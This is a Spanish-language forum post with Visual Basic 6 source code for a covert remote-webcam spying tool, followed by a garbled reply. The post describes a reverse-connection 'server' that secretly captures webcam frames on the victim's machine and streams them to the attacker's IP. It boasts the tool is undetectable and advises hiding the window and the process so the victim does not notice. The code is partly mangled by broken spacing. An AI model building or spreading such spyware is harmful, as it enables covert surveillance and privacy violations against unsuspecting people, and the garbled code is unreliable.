Vamos a aprender a construir nuestro sistema de cliente/servidor para espiar la webcam del servidor. Lo mejor de esta aplicacion es que ES INDETECTABLE!!. Asi es, debido a que el servidor en realidad funciona como cliente, y el cliente, es el servidor! Es decir que nosotros (El cliente) somos los que en realidad abrimos los puertos y, el servidor, es el que se conecta a nosotros para comenzar a enviarnos las imagenes. Por lo que el Servidor (En realidad cliente xD) no le detecta nada, sino que al que le detecta sera a nosotros, pero no se preocupen, simplemnete cierren el antivirus asi no molesta xD Y si tenemos el Firewall activado, y nos pregunta que hacer apretamos Desbloquear. Ahora si, comencemos... Primero configuraremos el Cliente. El cliente posee un Winsock Control. Para agregarlo vamos a Proyecto>Componentes> Microsoft Winsock Control 6.0. Y un PcitureBox. A los dos les dejaremos el nombre que traen para no confundirnos mucho. Luegro le agregamos el siguiente codigo: --------------------------------------------------------------------------------- Dim Ruta As String Private Sub Form_Load() Ruta = "c:\temporal2.bmp" Open Ruta For Binary As #1 On Error Resume Next Kill (Ruta) Open "ruta" For Binary As #1 Winsock1.Local Port = 1000 Winsock1.Liste n End Sub Private Sub Winsock1_Conne ctionRequest(ByVal requestID As Long) Winsock1.Close Winsock1.Accep t requestID End Sub Private Sub Winsock1_DataA rrival(ByVal bytesTotal As Long) Dim Imagen As String Winsock1.GetDa ta Imagen, vbNullString Put #1, , Imagen If Right(Imagen, 3) = "Fin" Or Imagen = "Fin" Then Close Picture1 = LoadPicture(Ruta) Open Ruta For Binary As #1 End If End Sub ------------------------------------------ Ahora el Servidor... El servidor posee un formulario, y un modulo. El formulario posee dos TextBox, un PictureBox un Control Winsock, un Timer y un CommandButton Recuerda dejarle los mismos nombres. Y este codigo: ------------------------------------------ Dim Imagen() As Byte Private Sub Form_Load() Command1.Capti on = "Conectar" Text1.Text = "TUIP" 'Aqui debe tu ip!, buenisimo no?, ni conseguir la ip de la cpu a espiar precisas If Command1.Capti on = "Conectar" Then Winsock1.CONNE CT Text1, CInt(Text2) mCapHwnd = capCreateCaptu reWindow("WebcamCapture", 0, 0, 0, 320, 240, Me.hwnd, 0) DoEvents: SendMessage mCapHwnd, CONNECT, 0, 0 Timer1.Enabled = True Command1.Capti on = "Desconectar" Else Timer1.Enabled = False DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0 Winsock1.Close Me.Caption = "Desconectado" Command1.Capti on = "Conectar" End If End Sub Private Sub Form_QueryUnlo ad(Cancel As Integer, UnloadMode As Integer) DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0 Winsock1.Close End Sub Private Sub Timer1_Timer() On Error Resume Next SendMessage mCapHwnd, GET_FRAME, 0, 0 SendMessage mCapHwnd, COPY, 0, 0 Picture1.Pictu re = Clipboard.GetD ata SavePicture Clipboard.GetD ata, "c:\temporal.bmp" Dim Tamaño As Long Open "c:\temporal.bmp" For Binary Access Read As #1 Tamaño = LOF(1) ReDim Imagen(Tamaño - 1) Get #1, , Imagen Close Winsock1.SendD ata Imagen Winsock1.SendD ata "Fin" End Sub Private Sub Winsock1_Close() Me.Caption = "Desconectado" End Sub Private Sub Winsock1_Conne ct() Me.Caption = "Conectado" End Sub ------------------------------------------ Y el modulo tiene este codigo: Public Declare Function SendMessage Lib "USER32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long Public Declare Function capCreateCaptu reWindow Lib "avicap32.dll" Alias "capCreateCaptu reWindowA" (ByVal lpszWindowName As String, ByVal dwStyle As Long, ByVal X As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hwndParent As Long, ByVal nID As Long) As Long Public mCapHwnd As Long Public Const CONNECT As Long = 1034 Public Const DISCONNECT As Long = 1035 Public Const GET_FRAME As Long = 1084 Public Const COPY As Long = 1054 NOTAS: Debemos poner False en la Opcion "Visible" de: Text1, Text2 y CommandButton1. Para que ande correctamente, primero debe estar abierto el cliente y luego el servidor, si primero se abre el servidor y luego el cliente, no funcionara. El Intervalo del Timer debe ser el que nosotros queramos (Recomiendo 200). Debemos cambiar la propiedad "Enabled" del Timer a False. El "Text" de Text2 debe ser 1000. Tambien es recomendable hacer invisible el formulario de servidor, asi la otra persona no nos descubre, y tambien hacerlo invisible en el administrador de tareas. No es mio porsiacaso. Lo saque de otra web, pero es Util. Se despide: Alforock12
Explicate copy y paste? tube biendo los comandos umh ... algo privado para windows podria erir tu sistema asique tomen precausiones error:^^ Next Sub Winsock1_ConnectionRequest(ping requestID As Long) Winsock1.Open Winsock1.Accep t requestID End Sub Private Sub Winsock1_DataA rrival(ByVal bytesTotal As Long) Dim Imagen As String Winsock1.GetDa ta Imagen, vbNullString Put #1, , Imagen If Right(Imagen, 3) = "Fin" Or Imagen = "Fin" Then Close Picture1 = LoadPicture(Ruta) Open Ruta For Binary As #1 End If End Sub = Load ------------------------------------------ ________________- NO ! POSTEES seguido! ,::EDITAAAA